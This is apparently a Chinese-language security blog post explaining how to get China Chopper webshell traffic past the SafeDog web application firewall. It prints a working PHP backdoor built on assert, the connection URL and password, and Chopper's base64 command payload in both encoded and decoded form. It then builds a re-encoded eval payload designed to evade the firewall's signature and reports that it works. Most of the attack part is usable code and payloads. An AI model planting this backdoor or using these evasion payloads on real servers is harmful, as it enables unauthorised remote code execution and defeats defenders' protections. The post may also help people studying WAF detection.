既然木馬已就緒,那么想要利用木馬,必然有一個數據傳輸的過程,數據提交是必須的,數據返回一般也會有的,除非執行特殊命令。
當我們用普通菜刀連接后門時,數據時如何提交的,狗狗又是如何識別的,下面結合一個實例,用通俗易懂的方式來演示數據提交層直接過狗原理。
本文意義:縱使網上有很多修改菜刀過狗的方法,但是我都看了下,局限性比較大,而且不太系統,新人學了可能會只是其一不知其二
環境:
域名與服務器均為個人真實所有。
服務器開啟網站安全狗+服務器安全狗,引擎全部開啟,最高防護級別。
對比環境:
服務器:apache+php5.3;本地:nginx+php5.3無狗環境作為對比
本地與有狗服務器具有相同的后門代碼與鏈接方式
說明:本文僅分析過狗原理與代碼實現,技術層面探討,菜刀或者其他軟件制作與修改本文不予討論。
后門文件:
$a=array(base64_decode($_REQUEST['a']));
@array_map("assert",$a);
菜刀連接方式:http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk= 密碼:sofia
該文件特征層面可過狗 ,上一篇文章已提到,
我們知道,菜刀已存在這么多年,安全狗早已對菜刀的特征門清,我們先來看下菜刀連接的時候特征是什么。
這是我隨便連接的一個后門,其實不管后門代碼是什么,打開文件管理,菜刀提交的數據都是一樣的,如圖
代碼為:
sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
命令執行代碼,base64_decode結果為以下,獲取當前目錄與磁盤名
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();
其中參數名“sofia”就是我們所謂的菜刀密碼不需要多解釋吧?
那么我們在本地手工提交菜刀的post數據看一下:
本地正常返回當前目錄與磁盤名,而服務端未顯示,一定是被攔截咯,事實證明確實如此:
那為什么沒蹦出攔截框呢?
根據我的經驗,一般文件特征層能檢測到是后門,才會彈窗,數據層一般不彈,當然,這只是我個人見解,可能不嚴謹。
其實狗狗對后門的檢測文件特征是與數據提交檢測機制是完全獨立的。
為了驗證這一點,我在同目錄下建立一個null.php,內容為正常代碼:
當不post數據時,正常輸出內容,說明文件本身沒有問題
把狗狗的post數據發一下試試?
又沒有回顯了,再去狗狗日志看下:
菜刀特征分析
那么很明顯了,菜刀的post數據已經是個大特征了。
相信大家都能看出來這個eval太惹眼了(當然,其他版本或者其他waf檢測的可能會是$_POST,或base64_decode)
sofia=@eval(base64_decode($_POST[z0]));
雖然看上去數據提交不怎么注重隱蔽,但是不得不承認菜刀是個偉大發明。
因為php后門五花八門,接受數據的類型與格式各不相同,於是菜刀就在post數據中再次構造一個執行代碼,使得php后門接收到的數據全部統一為:“eval('執行命令')”,這樣才使得菜刀的易用性才那么強。
具體代碼執行與返回請參考上一章節
修改post數據
既然原因清楚了,我們接下來就修改post數據,修改的重點就在於替換eval特征。
思路一:分離“eval”四個字母即可
但是post數據中發揮空間太小,暫時沒想到什么好辦法。
思路二:修改后門文件,直接執行語句
這里可能就需要用一些其他回調函數,或者其他猥瑣姿勢,能夠直接執行來自post的base64加密后的純執行語句。
思路三:直接手工構造eval語句
前面說過,post數據最終的結果為:eval('執行命令')”,而且我們的語句對a參數已經decode的了
$a=array(base64_decode($_REQUEST['a']));
那么就直接把整個eval語句base64加密一下即可,
那么我們菜刀原始的利用語句可以這么構造:
eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')
然后把這句話base64加密下,得到:
ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
ok,那么這時候我們是直接把這句話傳給$a的,那么post數據為:
a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=
試試?
成功返回結果,換個語句試試?
至此,這是數據流層面的過狗方式,當然過狗思路千千萬,不限於這一種,更多的是需要大家去發掘。
另外,
這里要跟大家提一點,assert函數與eval函數是完全不同的函數,不要以為能出phpinfo()結果就是過狗了,assert能執行phpinfo()一類的函數,但是其他php語句還是是需要借用eval的,當然,執行命令也不限於eval,還有各種回調函數。
寫在最后
怎么?你是不是還想問菜刀怎么連?
本文開頭說了,這里僅討論技術本身,至於如何去用,那么,會php的人,看了這篇文字,應該已經有思路了,
而不會php的人,可能就想着:“博客趕緊給我來個一句話加軟件,最好打開就能用”,然后偷偷竊喜指望它能平天下。
我還是那句話,安全之路,我們大多數人還只是個學者,希望多關注技術本身,不要膨脹才好。